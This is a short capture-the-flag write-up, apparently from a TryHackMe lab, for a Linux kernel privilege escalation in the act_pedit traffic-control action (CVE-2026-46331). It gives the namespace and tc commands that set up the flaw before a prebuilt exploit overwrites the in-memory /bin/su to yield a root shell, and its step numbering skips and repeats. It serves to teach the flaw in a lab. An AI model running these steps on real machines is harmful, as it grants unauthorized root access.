CVE-2026-46331-pedit-cow

Write-up and exploitation steps for the pedit COW vulnerability (CVE-2026-46331).

Overview

This challenge demonstrates pedit COW, a Linux kernel flaw in the traffic-control subsystem's packet-editing action (act_pedit). The vulnerability allows an unprivileged user to overwrite an in-memory copy of a setuid-root binary, effectively gaining a root shell without ever touching the file on the disk.

Exploitation Steps

1. Initial Setup

The environment starts as an unprivileged user (karen).

id
cd ~/packet_edit_meme
make packet_edit_meme

2. Privilege Escalation (Namespace Creation) Configuring traffic-control normally requires CAP_NET_ADMIN privileges, which an ordinary user lacks. I used unprivileged user namespaces to gain this capability.

unshare -r -n

3. Configuring the Traffic-Control Action Inside the namespace, I configured the clsact qdisc and applied a filter to trigger the pedit action.

Clean up any existing configurations if needed

tc qdisc del dev lo clsact

Setup the qdisc and filter

tc qdisc add dev lo clsact

tc filter add dev lo egress matchall action pedit ex munge ip ttl set 64

5. Executing the Exploit After setting up the environment, I exited the root shell and executed the exploit as an unprivileged user.

exit
./packet_edit_meme

5. Final Result The exploit successfully overwrote the entry for /bin/su, providing an interactive root shell.

# cat /root/flag.txt

THM{YOUR_FLAG_HERE}